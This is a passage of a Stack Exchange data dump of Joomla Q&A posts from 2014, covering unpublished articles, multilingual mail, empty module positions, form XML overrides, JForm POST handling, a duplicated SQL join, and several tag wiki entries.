  <row Id="4211" PostTypeId="1" CreationDate="2014-08-26T10:56:10.033" Score="2" ViewCount="5788" Body="&lt;p&gt;I got a a joomla-powered site. Recently I added an article to the back end, published it but it does not show up on the front end of the website. I went further to 'unpublish' some of the articles that were already showing on the front end. They were still showing on the front end.&#xA;I have cleared the cache several times, but nothing has changed since.&#xA;I do not know if anyone has encountered such a similar issue. Will appreciate your responses.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1818" LastEditorUserId="126" LastEditDate="2014-08-26T14:44:44.150" LastActivityDate="2018-08-25T08:29:20.027" Title="Changes on a joomla site do not reflect on the front end" Tags="|joomla-3.x|articles|administration|cache|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4212" PostTypeId="2" ParentId="4211" CreationDate="2014-08-26T11:48:19.070" Score="2" Body="&lt;p&gt;There could be an issue with the date settings in your articles, make sure your dates are correctly set:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Start Publishing:&lt;/strong&gt; Any past date&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Finish Publishing:&lt;/strong&gt; Empty, or any future date&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Created Date:&lt;/strong&gt; Any past date&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've sometimes copied existing articles and then edit the content, without changing the dates, wondering why my articles don't show up as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ifxyB.jpg&quot; alt=&quot;Publish Date settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please make sure your articles are actually saved (maybe obvious, but simply in order to sort out possible errors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZfNVH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at Lodders comment too, I've seen this happen before.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T20:54:26.103" LastActivityDate="2014-08-27T20:54:26.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4213" PostTypeId="1" CreationDate="2014-08-26T13:46:14.747" Score="0" ViewCount="178" Body="&lt;p&gt;I'am developping a discussion forum component, in this i need for user subscription when answer is added in a topic by sending a mail to the user language configured in his profile parameters. The language set by user in his profile is different than the language configured by default for the entire site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By example the Joomla! default language is english, if the user has defined his language on italian, i need to parse the mail in order to use italian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that i'am done that i can send the mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do-you have an idea to parse the mail to use the language defined by user ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2014-08-27T21:14:09.230" LastActivityDate="2014-08-27T21:14:09.230" Title="Send mail subscription in the user language in a component" Tags="|component|development|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4215" PostTypeId="1" AcceptedAnswerId="4219" CreationDate="2014-08-26T15:00:17.590" Score="4" ViewCount="2608" Body="&lt;p&gt;How does one prevent a module from being displayed in the assigned position if no output is rendered?  Why publish an empty module? Well, it's not always empty, but if particular conditions are not met, then there is no output to display, yet the empty position it's published in is still there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled it, but have found only examples from v1.5, and they're all hacks or modifying templates.  Has this been addressed/fixed in v3+, and if so, how do I accomplish it.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2017-01-05T14:28:54.527" Title="How to prevent empty modules from being rendered?" Tags="|module-display|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4216" PostTypeId="2" ParentId="4215" CreationDate="2014-08-26T16:44:12.940" Score="-1" Body="&lt;p&gt;You just need to check in the template if the module is published before rendering it's wrapping elements, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;countModules('breadcrumbs')) : ?&amp;gt;&#xA;      &amp;lt;div class=&quot;breadcrumb-row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;             &amp;lt;section class=&quot;content&quot;&amp;gt;&#xA;                 &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;breadcrumbs&quot; style=&quot;gangnam&quot; /&amp;gt;&#xA;              &amp;lt;/section&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, if there is no module published to 'breadcrumbs' then the included .breadcrumb-row and contents will not be output.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-08-26T16:44:12.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4217" PostTypeId="1" AcceptedAnswerId="4224" CreationDate="2014-08-26T17:16:46.317" Score="3" ViewCount="2453" Body="&lt;p&gt;I want to change the Field type for the Article's Links, from input text to DropDown List with internal menu items. I am looking for a convenient way to do this with the minimum work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anywhere if there is a way to create a simple override by placing the XML in another location. Is this possible anyhow ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, what would be the best approach?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-27T00:03:55.967" Title="Overriding Core Components Model Form XML" Tags="|component|overrides|recommended-practices|jform|com-content|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4218" PostTypeId="2" ParentId="4217" CreationDate="2014-08-26T17:18:53.060" Score="1" Body="&lt;p&gt;I have found a plugin that does exactly this: Allows XML overrides.&#xA;Plugin JED page is here: &lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/26496&quot; rel=&quot;nofollow&quot;&gt;Form XML Override&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am still looking for a custom way to go for this.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I tested the plugin and it works great. However my specific idea to replace the links text input field with a list of the available menu items, was not ideal, because the field does not save the type of data the menuitems list is providing. For this specific need I should do this differently. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-26T18:38:29.400" LastActivityDate="2014-08-26T18:38:29.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4219" PostTypeId="2" ParentId="4215" CreationDate="2014-08-26T18:58:22.627" Score="5" Body="&lt;p&gt;If the module does not return any output (return false), nothing is going to be generated, not even the Module Style / chrome (ref: JDocumentRendererModules works).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-26T18:58:22.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4220" PostTypeId="2" ParentId="3918" CreationDate="2014-08-26T19:49:42.100" Score="0" Body="&lt;p&gt;Yes, there are many in the form of template overrides. You can find some of mine , the most important being com_content, in my template starter, Oneweb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nternetinspired/OneWeb/tree/master/html/com_content&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nternetinspired/OneWeb/tree/master/html/com_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be aware that these are a little out-of-date though, as they are missing some recent additions like tags though the output is clean, semantic html :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, creating and maintaining a complete set of overrides for all core output is &lt;em&gt;huge&lt;/em&gt; task, and it is ultimately unsustainable. It's far better, longer-term, to try and incorporate such changes upstream IMO, though I know from personal experience that progress can be frustratingly slow at times:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/2657&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/2657&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-08-26T19:49:42.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4221" PostTypeId="1" AcceptedAnswerId="4234" CreationDate="2014-08-26T20:58:43.410" Score="1" ViewCount="73" Body="&lt;p&gt;How do I assign a default menu for all articles ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I could create a hidden menu (like &quot;Single Article&quot; but actually not for any single article) and use its &lt;code&gt;Itemid&lt;/code&gt; at the end of each article's link.&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="22" LastEditDate="2014-08-27T00:07:11.430" LastActivityDate="2014-08-28T19:37:04.200" Title="Default menu item for articles" Tags="|articles|menu|default|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4222" PostTypeId="2" ParentId="3772" CreationDate="2014-08-26T20:59:34.777" Score="1" Body="&lt;p&gt;Does this work with SEF URLs switched off? Try turning off SEF URLs, clear the cache and click on a tag (in the front end) again to see if this resolves the issue. If it does then it may be an issue with your SEF URLs&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-08-26T20:59:34.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4223" PostTypeId="2" ParentId="4217" CreationDate="2014-08-26T21:19:23.223" Score="2" Body="&lt;p&gt;the xml-overrides-plugin sounds neat( &lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/26496&quot; rel=&quot;nofollow&quot;&gt;Form XML Override&lt;/a&gt; ). If I understand correctly you want to modify the urla - field in the , right? I think the easiest way is probably to use a sql-field-type instead of the menu-field-type ( &lt;a href=&quot;http://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;SQL field type&lt;/a&gt; ). Your field definition could be something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;urls&quot; label=&quot;COM_CONTENT_FIELD_URLS_OPTIONS&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;urla&quot; type=&quot;sql&quot; validate=&quot;url&quot;&#xA;    filter=&quot;url&quot; label=&quot;COM_CONTENT_FIELD_URLA_LABEL&quot;&#xA;    description=&quot;COM_CONTENT_FIELD_URL_DESC&quot; &#xA;    key_field=&quot;url&quot; value_field=&quot;title&quot;&#xA;    query=&quot;select concat('index.php?Itemid=', cast(id as char)) url, &#xA;    concat(repeat('    ', (level-1)), menutype,'-',title) as title&#xA;    from #__menu where client_id=0 and id != 1 order by menutype, lft&quot;&#xA;    &amp;gt;&amp;lt;option value=&quot;&quot;&amp;gt;-- Select internal menu --&amp;lt;/option&amp;gt;&amp;lt;/field&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will list all site menu items, and return an url to each menu item. This way the urla (or urlb or urlc) - field will get returned an accepted value. &lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-08-26T21:19:23.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4224" PostTypeId="2" ParentId="4217" CreationDate="2014-08-27T00:03:55.967" Score="6" Body="&lt;p&gt;The more standard approach would probably be to use a plugin to catch the JForm object after the XML has been processed but before it has left the model to make your changes. An example of that function would be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data)&#xA;{&#xA;    if (!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;        return false;&#xA;    }&#xA;&#xA;    // Check we are manipulating a valid form.&#xA;    $name = $form-&amp;gt;getName();&#xA;    if (!in_array($name, array('com_content.article')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    $form-&amp;gt;loadFile('__PATH_ALTERNATE_XML_FILE__');&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;loadFile&lt;/code&gt; by default has the &lt;code&gt;$reset&lt;/code&gt; flag set to true, so if there are fields with the same name, it should replace them with the new version. This wouldn't work like a regex, so you would have to define the entire field, not just the new piece. However, it should be easy to maintain your separate file in a place that won't be affected by updates (like in the plugin folder!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if not obvious, it would be best to make this a &lt;code&gt;content&lt;/code&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-27T00:03:55.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4226" PostTypeId="2" ParentId="4213" CreationDate="2014-08-27T10:53:37.557" Score="2" Body="&lt;p&gt;Here is a general idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to maintain a table which holds the templates for the emails you need to send and additionally to store the language name as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;type         email_text     lang&#xA;-------------------------------&#xA;register    Hello world!    en-GB&#xA;register    Ciao mondo      it-IT&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Detect user language.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$language = $user-&amp;gt;getParam('language', 'en-GB');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Send the email&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do a query in your email templates to identify the one needed based on user language and the type of the email you want to send.&lt;/li&gt;&#xA;&lt;li&gt;Send the email using JMail.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-27T10:53:37.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4227" PostTypeId="1" AcceptedAnswerId="4233" CreationDate="2014-08-27T11:18:57.687" Score="4" ViewCount="2347" Body="&lt;p&gt;I have a form that needs to post to another form (which is an outside form). I have the 1st form set up with the action to the url and method post. However, it is using &lt;code&gt;JForm&lt;/code&gt;. It is working fine on the 1st form and saving to the database and opening up for editing. However, there is a second action via javascript that POSTs to another page with the new form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the page load, I inspect the POST and it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Headers   Post    HTML   Cache   Cookies&#xA;&#xA;Parts multipart/form-data&#xA;&#xA;jform[id]   0&#xA;jform[state]    1&#xA;jform[created_by]   23&#xA;jform[grant_type]   A&#xA;jform[cycle]    &#xA;jform[salutation]   M&#xA;jform[first_name]   vrvervtervtgbver&#xA;jform[last_name]    rtrgver&#xA;jform[title]    rvert&#xA;jform[company_name] trvrvetrb&#xA;jform[email_address]    trbrtbeb@fgrewgrg.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can not for the life of me, grab this post data. I have tried everything I can think of using &lt;code&gt;jinput&lt;/code&gt; and &lt;code&gt;$_POST&lt;/code&gt;, but nothing seems to work. It either displays &lt;code&gt;Array(0){[id]=&amp;gt;&quot;&quot; ...&lt;/code&gt; , or &lt;code&gt;NULL&lt;/code&gt;, or just &lt;code&gt;ARRAY&lt;/code&gt;. I can not use the Database, for this action as it needs come over via post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code as of right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @version     1.2.0&#xA; * @package     com_sfinnovate&#xA; * @copyright   Copyright (C) 2014. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @author      Matt Dray &amp;lt;matt@sooyco.com&amp;gt; - http://www.aespire.com&#xA; */&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet('components/com_sfinnovate/innovatestyle.css');&#xA;&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;//Load admin language file&#xA;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_sfinnovate', JPATH_ADMINISTRATOR);&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(JUri::base() . '/components/com_sfinnovate/assets/js/form.js');&#xA;&#xA;if($this-&amp;gt;item-&amp;gt;id) {&#xA;    $canState = JFactory::getUser()-&amp;gt;authorise('core.edit.state','com_sfinnovate.innofundapp');&#xA;} else {&#xA;    $canState = JFactory::getUser()-&amp;gt;authorise('core.edit.state','com_sfinnovate.innofundapp.'.$this-&amp;gt;item-&amp;gt;id);&#xA;}&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$fooValues = $jinput-&amp;gt;get('jform', NULL, NULL);&#xA;&#xA;var_dump($fooValues);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    getScript('//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js', function() {&#xA;        jQuery(document).ready(function() {&#xA;            jQuery('#form-innofundapp').submit(function(event) {&#xA;&#xA;            });&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;innofundapp-edit front-end-edit&quot;&amp;gt;&#xA;    &amp;lt;?php if (!empty($this-&amp;gt;item-&amp;gt;id)): ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Edit &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Add&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastEditorUserId="12352" LastEditDate="2018-04-06T11:46:17.787" LastActivityDate="2018-04-06T11:46:17.787" Title="Jform POST issues" Tags="|joomla-3.x|joomla-api|fix-my-code|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4228" PostTypeId="5" CreationDate="2014-08-27T14:06:02.417" Score="0" Body="&lt;h1&gt;Login&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In computer security, a login or logon (also called logging in or on and signing in or on) is the process by which individual access to a computer system is controlled by identifying and authenticating the user referring to credentials presented by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user can log in to a system to obtain access and can then log out or log off (perform a logout / logoff) when the access is no longer needed. To log out is to close off one's access to a computer system after having previously logged in.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:42:46.047" LastActivityDate="2015-08-21T15:42:46.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4229" PostTypeId="4" CreationDate="2014-08-27T14:06:02.417" Score="0" Body="A login or logon (also called logging in or on and signing in or on) is the process by which individual access to a computer system is controlled by identification of the user using credentials provided by the user." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T17:04:17.230" LastActivityDate="2014-08-27T17:04:17.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4230" PostTypeId="1" AcceptedAnswerId="4231" CreationDate="2014-08-27T15:17:56.327" Score="1" ViewCount="265" Body="&lt;p&gt;I have the following database query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $database = JFactory::getDBO();&#xA;    $database-&amp;gt;setQuery(&quot;SELECT items.headline, items.image, items.copy, items.source &#xA;                FROM ms95f_createalist_items items&#xA;                JOIN ms95f_createalist_categories categories&#xA;                ON items.heading = &quot; . $this-&amp;gt;item-&amp;gt;id);&#xA;    $orderitems = $database-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I call this in html using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;feedList&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;    $count = 0;&#xA;    foreach ($orderitems as $item) { ?&amp;gt;&#xA;        &amp;lt;div class=&quot;feedItem&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;number&quot;&amp;gt; &amp;lt;?php echo $count; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;headline&quot;&amp;gt; &amp;lt;?php echo $item-&amp;gt;headline; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;image&quot;&amp;gt; &amp;lt;?php echo $item-&amp;gt;image; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;copy&quot;&amp;gt; &amp;lt;?php echo $item-&amp;gt;copy; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;source&quot;&amp;gt; &amp;lt;?php echo $item-&amp;gt;source; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php $count++; } ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working great, but I'm getting the output of each item twice. Any ideas where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2019-02-03T01:22:20.773" Title="Database query outputting twice" Tags="|php|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4231" PostTypeId="2" ParentId="4230" CreationDate="2014-08-27T15:27:55.947" Score="4" Body="&lt;p&gt;You are likely getting duplicate items because of the join of the categories table. And since you don't actually select anything from the categories table, why not just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$database-&amp;gt;setQuery(&quot;SELECT items.headline, items.image, items.copy, items.source &#xA;     FROM ms95f_createalist_items items&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also looks like you might have an id that you are using to limit the data, but it doesn't really make sense since you are using it in the join but then not referencing any of the &lt;code&gt;categories&lt;/code&gt; columns. (As a random guess, are their two categories right now?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you actually want to limit by the id, you probably actually want a &lt;code&gt;WHERE&lt;/code&gt; clause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$database-&amp;gt;setQuery(&quot;SELECT items.headline, items.image, items.copy, items.source &#xA;     FROM ms95f_createalist_items items&#xA;     WHERE items.heading = &quot; . $this-&amp;gt;item-&amp;gt;id&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-27T15:27:55.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4232" PostTypeId="2" ParentId="4211" CreationDate="2014-08-27T17:16:06.883" Score="0" Body="&lt;p&gt;You have to understand that after creating an article it needs to be linked up via a menu to the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that since you have no linked the article up to the default menu, it is not being shown on the frontend.&lt;/p&gt;&#xA;" OwnerUserId="1822" LastEditorUserId="22" LastEditDate="2014-09-11T02:48:21.487" LastActivityDate="2014-09-11T02:48:21.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4233" PostTypeId="2" ParentId="4227" CreationDate="2014-08-27T18:04:58.123" Score="3" Body="&lt;p&gt;When you submit a form using the standard admin style of Joomla, this will create a POST request to the server. The server will then process the &lt;code&gt;task&lt;/code&gt; of the form (which is usually 'save' or something similar) to save the form into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the save, Joomla automatically does a redirect either back to the form view or the list view (depending on whether this was a &quot;save and close&quot; or &quot;save&quot; action). Once this redirect happens, you are no longer in a POST request, but now you are actually in a GET request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check that this has happened by refreshing the resulting page. Did your browser ask you to resubmit form data? If no, then there was a redirect between your post and the response that you ultimately got from the server. Once that redirect happens, no data will be accessible by &lt;code&gt;$_POST&lt;/code&gt; or any other method on the resulting page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, if you really need an exact copy of the &lt;code&gt;$_POST&lt;/code&gt; in the resulting form, your best bet would be to push it into the session during the save process. Then pull from the session instead of from the post data (since that no longer exists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the save function, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('post-data', $_POST);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your form, you can grab this like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$post = $session-&amp;gt;get('post-data');&#xA;&#xA;// clear the data so we don't process it again&#xA;$session-&amp;gt;clear('post-data');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-08-27T19:01:18.587" LastActivityDate="2014-08-27T19:01:18.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4234" PostTypeId="2" ParentId="4221" CreationDate="2014-08-27T19:39:09.907" Score="2" Body="&lt;p&gt;If your goal is to load a module for only certain articles, there are two easy ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put them all in the same category and then create a hidden menu item that loads the list of all articles in the category. No one ever needs to see the page, it just needs to exist. Then if you publish a module to that menu item, it SHOULD appear on all articles in that category (there may be times when that isn't true).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put all of them in the same category, install Advanced Module manager, create your module and assign it to that category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2014-08-28T19:37:04.200" LastActivityDate="2014-08-28T19:37:04.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4235" PostTypeId="5" CreationDate="2014-08-27T20:15:22.077" Score="0" Body="&lt;p&gt;JCE (Joomla Content Editor) is a free WYSIWYG content editor for Joomla! based on Moxiecode's TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE is highly configurable, and can be extended with a series of free and paid plugins.  Profiles for different kinds of users can be created, both for front and backend use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE is available from the &lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editors/88&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T21:11:32.010" LastActivityDate="2014-08-27T21:11:32.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4236" PostTypeId="4" CreationDate="2014-08-27T20:15:22.077" Score="0" Body="JCE (Joomla Content Editor) is a WYSIWYG content editor for Joomla! based on Moxiecode's TinyMCE." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T22:48:54.593" LastActivityDate="2014-08-27T22:48:54.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4237" PostTypeId="5" CreationDate="2014-08-27T20:34:50.557" Score="0" Body="&lt;p&gt;Phoca Gallery is an image gallery for Joomla! CMS. It includes component, modules and plugins and allows users to display images or Youtube videos in many different styles.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;System Requirements&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla! 1.5, Joomla! 2.5, Joomla! 3 (stable or any later version)&lt;/li&gt;&#xA;&lt;li&gt;PHP 4, 5 (or any later version) with GD library (graphics library for thumbnails creation).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Price&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Phoca Gallery is available as both free and paid versions. The free version displays a back-link to the author.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Download&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Phoca Gallery can be downloaded from the &lt;a href=&quot;http://extensions.joomla.org/extensions/photos-a-images/galleries/photo-gallery/3150&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt; or directly from &lt;a href=&quot;http://www.phoca.cz/phocagallery&quot; rel=&quot;nofollow&quot;&gt;phoca.cz&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Features&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;From &lt;a href=&quot;http://www.phoca.cz/documents/2-phoca-gallery-component/2-features&quot; rel=&quot;nofollow&quot;&gt;Phoca Gallery Documentation&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unlimited count of 